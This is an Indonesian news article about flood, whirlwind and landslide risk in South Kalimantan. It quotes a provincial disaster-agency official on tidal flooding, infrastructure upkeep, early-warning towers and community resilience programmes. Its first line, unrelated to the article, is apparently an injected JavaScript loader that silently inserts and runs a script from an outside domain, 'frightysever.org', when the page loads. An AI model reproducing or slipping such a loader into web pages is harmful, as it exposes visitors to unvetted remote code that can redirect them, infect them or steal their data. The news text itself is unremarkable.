(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Potensi bencana hidrometeorologi seperti banjir, angin puting beliung, dan tanah longsor patut diwaspadai saat musim hujan yang diprediksi berlangsung sejak November 2025 hingga Mei 2026 di Kalimantan Selatan (Kalsel).
Kepala Bidang (Kabid) Pencegahan dan Kesiapsiagaan BPBD Kalsel, Bambang Dedi mengatakan, seluruh wilayah di Kalsel termasuk rawan bencana banjir.
Seperti Kota Banjarmasin, serta kawasan pesisir Aluhaluh, Kabupaten Banjar hingga Pelaihari, Kabupaten Tanah Laut memiliki kerawanan bencana banjir rob.
Baca juga: Bahasa Banjar, Bakumpai, dan Dayak Deah Prioritas Revitalisasi Agar Tak Punah
“Berdasarkan data BNPB, semua daerah di Kalsel rawan bencana banjir. Kalau Banjarmasin itu banjir rob termasuk di pesisir Aluhaluh, dan Pelaihari itu banjir rob juga,” ujar Kabid Pencegahan dan Kesiapsiagaan BPBD Kalsel, Bambang Dedi, Rabu (12/11/2025).
Namun, dalam upaya mitigasi juga, sesuai arahan Gubernur Kalsel Muhidin dan Wakil Gubernur Kalsel Hasnuryadi Sulaiman, selalu mengingatkan agar Bupati dan Wali Kota dapat memegang penuh komando menyiapkan wilayahnya.
“Sesuai dengan edaran terbaru Gubernur Kalsel, telah mengingatkan kepada Bupati Wali Kota untuk terus melakukan pemeliharaan infrastruktur strategis seperti bendungan, tabat, irigasi, agar dilakukan pemeliharaan rutin,” tegas Bambang.
Baca juga: Kalsel Tingkatkan Kesiapsiagaan Hadapi Potensi Bencana Hidrometeorologi
Demikian juga SKPD di Provinsi Kalsel katanya, Gubernur mengingatkan agar selalu berkolaborasi dengan kabupaten kota untuk melakukan peningkatan-peningkatan kualitas, penambahan-penambahan infrastruktur, dan mitigasi.
“Sehingga kita boleh dibilang, Kalsel awal November itu sudah puncak-puncaknya, dibanding tahun-tahun sebelumnya itu resiko banjir cukup besar. Tetapi kita lihat sendiri hingga pertengahan ini Alhamdulillah tingkat ketinggian air masih normal,” jelasnya.
Di sisi lain, provinsi bersama kabupaten dan kota juga memaksimalkan pemanfaatan alat Early Warning System (EWS), atau alat peringatan dini. Ketika tingkat permukaan air meninggi menara akan berbunyi.
Baca juga: Melestarikan Bahasa Daerah Melalui Festival Tunas Bahasa Ibu 2025
“Kita dibantu BNPB memiliki menara deteksi banjir, Kalsel termasuk beberapa daerah sudah dipasang namanya EWS banjir,” ungkap dia.
Adapun tahun 2020-2025 alat EWS telah dipasang sebanyak 4 buah seperti di Kabupaten Banjar dan Banjarmasin. Sebelumnya ada di daerah Tabalong dan daerah lainnya di Kalsel.
Dalam upaya mitigasi juga, BPBD Kalsel berkolaborasi dengan TP PKK Provinsi Kalsel hadir untuk melaksanakan simulasi-simulasi bencana menghasilkan Keluarga Tangguh Bencana hingga Desa Tangguh Bencana.
“Sehingga kita juga menguatkan namanya Keluarga Tangguh Bencana, Desa Tangguh Bencana, Kelurahan Tangguh Bencana, bahkan Kecamatan Tangguh Bencana,” tuntas Bambang. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Program belanja menarik dengan tajuk Shopping Funtastic 2025 resmi ditutup manajemen Q… Read More
KANALKALIMANTAN.COM, BANJARBARU - Petugas gabungan dari Dinas Perhubungan dan Satuan Polisi Pamong Praja Kota Banjarbaru… Read More
Oleh: Cheryl Rinjani Eileen Manurung, Prodi Geografi, ULM Read More
KANALKALIMANTAN.COM, PARINGIN - Badan Amil Zakat Nasional (Baznas) Kabupaten Balangan menyalurkan berbagai program bantuan di… Read More
KANALKALIMANTAN.COM, PARINGIN – Kabupaten Balangan berhasil meraih predikat kabupaten terinovatif dengan Indeks Inovasi Daerah (IID)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Erna Lisa Halaby membuka kompetisi basket menutup tahun 2025… Read More
This website uses cookies.